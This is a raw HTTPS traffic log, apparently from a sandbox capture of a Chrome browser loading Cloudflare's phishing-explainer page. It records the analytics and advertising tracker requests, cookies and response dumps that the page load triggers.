2024-10-18 13:48:15 UTC	1041	OUT	GET /action/0?ti=5268204&tm=gtm002&Ver=2&mid=2ba1fce8-c879-41a4-8506-d47a734f893f&bo=2&sid=9e9217208d5711ef9f942d37e672568f&vid=9e9265008d5711ef86d8793cb6a7df8c&vids=1&msclkid=N&uach=pv%3D10.0.0&pi=918639831&lg=en-US&sw=1280&sh=1024&sc=24&tl=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&p=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&r=https%3A%2F%2Fbookingadocel.com%2F&lt=2656&evt=pageLoad&sv=1&asc=G&cdb=AQED&rn=790796 HTTP/1.1 Host: bat.bing.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=189DC320AD6765EE3B4ED63CAC9664F7; domain=.bing.com; expires=Wed, 12-Nov-2025 13:48:15 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=bat.bing.com; expires=Fri, 25-Oct-2024 13:48:15 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F5EC8147886A447E94CDFDFF71803BB8 Ref B: DFW30EDGE1713 Ref C: 2024-10-18T13:48:15Z Date: Fri, 18 Oct 2024 13:48:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	50844	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	655	OUT	GET /xdc.js?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_h=-1777624096&cdn_o=a&jsVer=4.24.10.10 HTTP/1.1 Host: cdn.bizible.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
2024-10-18 13:48:15 UTC	371	IN	HTTP/1.1 200 OK Cache-Control: private, must-revalidate, max-age=21600 Content-Type: text/javascript; charset=utf-8 Date: Fri, 18 Oct 2024 13:48:15 GMT Etag: C68A9C15 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Server: ECS (lhd/3718) Strict-Transport-Security: max-age=31536000; includeSub Content-Length: 116 Connection: close
2024-10-18 13:48:15 UTC	116	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 42 69 7a 54 72 61 63 6b 69 6e 67 41 2e 58 64 63 43 61 6c 6c 62 61 63 6b 28 7b 0d 0a 20 20 20 20 20 20 20 20 78 64 63 3a 20 22 31 66 38 39 61 64 61 37 35 30 34 34 34 35 64 64 64 65 62 31 62 64 66 30 66 66 65 32 37 39 65 61 22 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 3b 0d 0a Data Ascii: (function () { BizTrackingA.XdcCallback({ xdc: "1f89ada7504445dddeb1bdf0ffe279ea" });})();;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	50850	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	644	OUT	GET /u?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291819&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&rnd=948098&cdn_o=a&_biz_z=1729259291819 HTTP/1.1 Host: cdn.bizibly.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _BUID=b7928ff53fdb70b96d3df4e60229a0d6
2024-10-18 13:48:15 UTC	438	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 577968 Cache-Control: no-cache, no-store Content-Type: Image/GIF Date: Fri, 18 Oct 2024 13:48:15 GMT Expires: -1 Last-Modified: Fri, 11 Oct 2024 21:15:27 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Server: ECS (lhd/35B4) Strict-Transport-Security: max-age=31536000; includeSub X-Cache: HIT Content-Length: 43 Connection: close
2024-10-18 13:48:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff ff ff ff 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	50853	150.171.28.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	534	OUT	GET /p/insights/t/5268204 HTTP/1.1 Host: bat.bing.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	740	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Content-Length: 762 Content-Type: application/x-javascript Expires: -1 Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload request-context: appId=cid-v1:dfa4d45a-f309-4181-9ede-77e6e6c0ecf0 x-azure-ref: 20241018T134815Z-r1c9876bb5bxnnnnnmqswvpev80000000a8g000000006bm8 x-cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 08E16C775B714A8CABE7F85F9F8BBFD5 Ref B: DFW311000108009 Ref C: 2024-10-18T13:48:15Z Date: Fri, 18 Oct 2024 13:48:15 GMT Connection: close
2024-10-18 13:48:15 UTC	762	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 77 2c 69 2c 6e 2c 73 2c 67 2c 68 2c 74 29 7b 6e 5b 77 5d 3d 6e 5b 77 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 28 6e 5b 77 5d 2e 71 3d 6e 5b 77 5d 2e 71 7c 7c 5b 5d 29 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 7d 3b 2f 2a 23 63 6f 64 65 2e 6f 70 74 69 6d 69 7a 65 23 2a 2f 6e 5b 77 5d 28 22 6d 65 74 61 64 61 74 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 5b 77 5d 28 22 73 65 74 22 2c 22 5f 73 22 2c 22 69 6e 73 69 67 68 74 73 22 29 7d 29 2c 21 31 29 3b 6e 5b 77 5d 28 22 6d 65 74 61 64 61 74 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 5b 77 5d 28 22 73 65 74 22 2c 22 5f 75 22 2c 22 35 32 36 38 32 30 34 22 29 7d 29 2c 21 31 29 3b 69 66 28 6e 5b 77 5d 2e 76 7c 7c 6e 5b 77 5d 2e 74 29 72 65 74 75 72 6e 20 6e 5b 77 5d Data Ascii: !function(w,i,n,s,g,h,t){n[w]=n[w]\|\|function(){(n[w].q=n[w].q\|\|[]).push(arguments)};/#code.optimize#/n[w]("metadata",(function(){n[w]("set","_s","insights")}),!1);n[w]("metadata",(function(){n[w]("set","_u","5268204")}),!1);if(n[w].v\|\|n[w].t)return n[w]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	50858	172.64.151.101	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	502	OUT	GET /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; CMPS=1085; CMPRO=1085
2024-10-18 13:48:15 UTC	988	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8d48fc254b50eb33-DFW CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; Path=/; Domain=casalemedia.com; Expires=Sat, 18 Oct 2025 13:48:15 GMT; Max-Age=31536000; Secure; SameSite=None Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Set-Cookie: CMPRO=1085; Path=/; Domain=casalemedia.com; Expires=Thu, 16 Jan 2025 13:48:15 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LIzJA%2B%2BiLr70kqOe611dWolNkWdipX9nSCCKMWdyhXiuvhY01qSoW50c%2BVkLmybBZGbjDXhl7PzcxxyyBb43N7M6x7EgpBY2ciguESp%2Fyy%2BEqt9ALEu8tiGMjgY39mCe3OcJIUl0NbzgcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	50856	63.140.62.27	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	795	OUT	POST /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=99d1b9e6-7852-4562-80ab-dab46218e9a6 HTTP/1.1 Host: edge.adobedc.net Connection: keep-alive Content-Length: 1950 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain; charset=UTF-8 Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	1950	OUT	Data Raw: 7b 22 6d 65 74 61 22 3a 7b 22 63 6f 6e 66 69 67 4f 76 65 72 72 69 64 65 73 22 3a 7b 22 63 6f 6d 5f 61 64 6f 62 65 5f 61 6e 61 6c 79 74 69 63 73 22 3a 7b 22 72 65 70 6f 72 74 53 75 69 74 65 73 22 3a 5b 22 63 6c 6f 75 64 66 6c 61 72 65 69 6e 63 63 6c 6f 75 64 66 6c 61 72 65 69 6e 63 6d 6b 74 73 69 74 65 2d 70 72 6f 64 22 5d 7d 7d 2c 22 74 61 72 67 65 74 22 3a 7b 22 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 7d 2c 22 73 74 61 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 2c 22 63 6f 6f 6b 69 65 73 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 6b 65 79 22 3a 22 6b 6e 64 63 74 72 5f 38 41 44 35 36 46 32 38 36 31 38 41 35 30 38 35 30 41 34 39 35 46 42 36 5f 41 64 6f 62 65 4f 72 67 Data Ascii: {"meta":{"configOverrides":{"com_adobe_analytics":{"reportSuites":["cloudflareinccloudflareincmktsite-prod"]}},"target":{"migration":true},"state":{"domain":"cloudflare.com","cookiesEnabled":true,"entries":[{"key":"kndctr_8AD56F28618A50850A495FB6_AdobeOrg
2024-10-18 13:48:15 UTC	651	IN	HTTP/1.1 200 OK x-request-id: 99d1b9e6-7852-4562-80ab-dab46218e9a6 vary: Origin access-control-allow-origin: https://www.cloudflare.com access-control-allow-credentials: true access-control-expose-headers: Retry-After, X-Adobe-Edge, X-Request-ID date: Fri, 18 Oct 2024 13:48:15 GMT x-konductor: 24.10.33:d373bbfda x-adobe-edge: IRL1;6 server: jag content-type: application/json;charset=utf-8 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-10-18 13:48:15 UTC	8190	IN	Data Raw: 66 66 38 0d 0a 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 39 39 64 31 62 39 65 36 2d 37 38 35 32 2d 34 35 36 32 2d 38 30 61 62 2d 64 61 62 34 36 32 31 38 65 39 61 36 22 2c 22 68 61 6e 64 6c 65 22 3a 5b 7b 22 70 61 79 6c 6f 61 64 22 3a 5b 7b 22 69 64 22 3a 22 35 39 30 32 38 35 37 32 36 31 35 35 35 34 35 36 31 37 30 32 33 30 30 39 38 32 37 36 30 35 34 33 38 36 30 34 39 31 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 7b 22 63 6f 64 65 22 3a 22 45 43 49 44 22 7d 7d 5d 2c 22 74 79 70 65 22 3a 22 69 64 65 6e 74 69 74 79 3a 72 65 73 75 6c 74 22 7d 2c 7b 22 70 61 79 6c 6f 61 64 22 3a 5b 7b 22 69 64 22 3a 22 41 54 3a 65 79 4a 68 59 33 52 70 64 6d 6c 30 65 55 6c 6b 49 6a 6f 69 4d 6a 55 79 4d 7a 63 31 49 69 77 69 5a 58 68 77 5a 58 4a 70 5a 57 35 6a 5a 55 6c 6b 49 6a 6f Data Ascii: ff8{"requestId":"99d1b9e6-7852-4562-80ab-dab46218e9a6","handle":[{"payload":[{"id":"59028572615554561702300982760543860491","namespace":{"code":"ECID"}}],"type":"identity:result"},{"payload":[{"id":"AT:eyJhY3Rpdml0eUlkIjoiMjUyMzc1IiwiZXhwZXJpZW5jZUlkIjo
2024-10-18 13:48:15 UTC	15366	IN	Data Raw: 31 62 34 30 0d 0a 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 4e 65 77 20 72 65 73 65 61 72 63 68 3a 20 54 68 65 20 54 6f 74 61 6c 20 45 63 6f 6e 6f 6d 69 63 20 49 6d 70 61 63 74 e2 84 a2 20 6f 66 20 43 6c 6f 75 64 66 6c 61 72 65 2e 3c 2f 73 70 61 6e 3e 5c 6e 20 20 20 3c 61 20 63 6c 61 73 73 3d 5c 22 6c 69 6e 6b 2d 68 65 6c 70 65 72 5c 22 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 70 2f 66 6f 72 72 65 73 74 65 72 2d 74 65 69 2d 73 74 75 64 79 2d 32 30 32 34 2f 5c 22 3e 20 3c 73 74 72 6f 6e 67 3e 47 65 74 20 73 74 75 64 79 20 26 67 74 3b 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 61 3e 20 20 20 20 5c 6e 5c 6e 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 3c 2f 73 65 Data Ascii: 1b40">\n <span>New research: The Total Economic Impact of Cloudflare.</span>\n <a class=\"link-helper\" href=\"https://www.cloudflare.com/lp/forrester-tei-study-2024/\"> <strong>Get study ></strong></a> \n\n </div>\n </se
2024-10-18 13:48:15 UTC	8389	IN	Data Raw: 31 35 63 61 0d 0a 6c 75 65 20 62 61 64 67 65 20 72 65 72 75 6e 20 31 30 30 70 63 74 22 2c 22 70 72 6f 66 69 6c 65 2e 74 77 6f 73 77 69 6d 6c 61 6e 65 73 5f 63 78 6f 22 3a 22 47 72 6f 75 70 41 22 2c 22 61 63 74 69 76 69 74 79 2e 69 64 22 3a 22 32 35 35 36 39 34 22 2c 22 67 65 6f 2e 73 74 61 74 65 22 3a 22 74 65 78 61 73 22 2c 22 65 78 70 65 72 69 65 6e 63 65 2e 6e 61 6d 65 22 3a 22 45 78 70 65 72 69 65 6e 63 65 20 42 22 2c 22 6f 66 66 65 72 2e 69 64 22 3a 22 30 22 7d 2c 22 64 61 74 61 22 3a 7b 22 74 79 70 65 22 3a 22 73 65 74 48 74 6d 6c 22 2c 22 66 6f 72 6d 61 74 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 61 64 6f 62 65 2e 74 61 72 67 65 74 2e 64 6f 6d 2d 61 63 74 69 6f 6e 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 22 46 6f 72 20 70 72 6f 66 65 73 Data Ascii: 15calue badge rerun 100pct","profile.twoswimlanes_cxo":"GroupA","activity.id":"255694","geo.state":"texas","experience.name":"Experience B","offer.id":"0"},"data":{"type":"setHtml","format":"application/vnd.adobe.target.dom-action","content":"For profes
2024-10-18 13:48:16 UTC	9861	IN	Data Raw: 32 36 37 64 0d 0a 74 79 2e 6e 61 6d 65 22 3a 22 5b 32 34 2d 31 30 2d 30 33 5d c2 a0 5b 50 52 44 5d c2 a0 5b 57 45 42 58 5d c2 a0 2d c2 a0 46 6f 72 72 65 73 74 65 72 20 54 45 49 20 72 65 70 6f 72 74 20 70 72 6f 6d 6f 74 69 6f 6e 20 50 53 41 22 2c 22 70 72 6f 66 69 6c 65 2e 74 77 6f 73 77 69 6d 6c 61 6e 65 73 5f 63 78 6f 22 3a 22 47 72 6f 75 70 41 22 2c 22 61 63 74 69 76 69 74 79 2e 69 64 22 3a 22 32 35 34 34 38 31 22 2c 22 67 65 6f 2e 73 74 61 74 65 22 3a 22 74 65 78 61 73 22 2c 22 65 78 70 65 72 69 65 6e 63 65 2e 6e 61 6d 65 22 3a 22 45 78 70 65 72 69 65 6e 63 65 20 41 22 2c 22 6f 66 66 65 72 2e 69 64 22 3a 22 30 22 7d 2c 22 64 61 74 61 22 3a 7b 22 74 79 70 65 22 3a 22 69 6e 73 65 72 74 41 66 74 65 72 22 2c 22 66 6f 72 6d 61 74 22 3a 22 61 70 70 6c 69 63 Data Ascii: 267dty.name":"[24-10-03][PRD][WEBX]-Forrester TEI report promotion PSA","profile.twoswimlanes_cxo":"GroupA","activity.id":"254481","geo.state":"texas","experience.name":"Experience A","offer.id":"0"},"data":{"type":"insertAfter","format":"applic
2024-10-18 13:48:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	50861	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4381	OUT	POST /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 2097 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A176079 [TRUNCATED]
2024-10-18 13:48:15 UTC	2097	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 63 6c 69 63 6b 5f 6b 65 79 5f 69 6e 74 65 72 61 63 74 69 6f 6e 22 2c 22 64 61 74 61 22 3a 7b 22 67 6f 6f 67 6c 65 5f 63 6f 6e 73 65 6e 74 5f 64 65 66 61 75 6c 74 22 3a 7b 22 61 64 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 6e 61 6c 79 74 69 63 73 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 73 65 63 75 72 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 5f Data Ascii: {"name":"click_key_interaction","data":{"google_consent_default":{"ad_storage":"granted","ad_user_data":"granted","ad_personalization":"granted","analytics_storage":"granted","security_storage":"granted","functionality_storage":"granted","personalization_
2024-10-18 13:48:15 UTC	1272	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: application/json Content-Length: 332 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Set-Cookie: cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; Domain=cloudflare.com; Path=/; HttpOnly; Secure; SameSite=Lax Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 set-cookie: google-analytics_v4_nzcr__conversionCounter=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_OwdI__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_VVgx__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_bHox__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_elKW__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: reddit_fZaD__reddit_uuid=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
2024-10-18 13:48:15 UTC	1002	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 44 75 72 61 74 69 6f 6e 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 53 74 61 72 74 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 Data Ascii: set-cookie: google-analytics_v4_nzcr__engagementDuration=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Laxset-cookie: google-analytics_v4_nzcr__engagementStart=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSi
2024-10-18 13:48:15 UTC	1592	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 63 66 7a 5f 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 3d 25 37 42 25 32 32 4f 77 64 49 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 34 36 34 34 35 34 39 37 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 56 56 67 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 31 30 37 38 38 33 37 36 34 33 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 62 48 6f 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 Data Ascii: set-cookie: 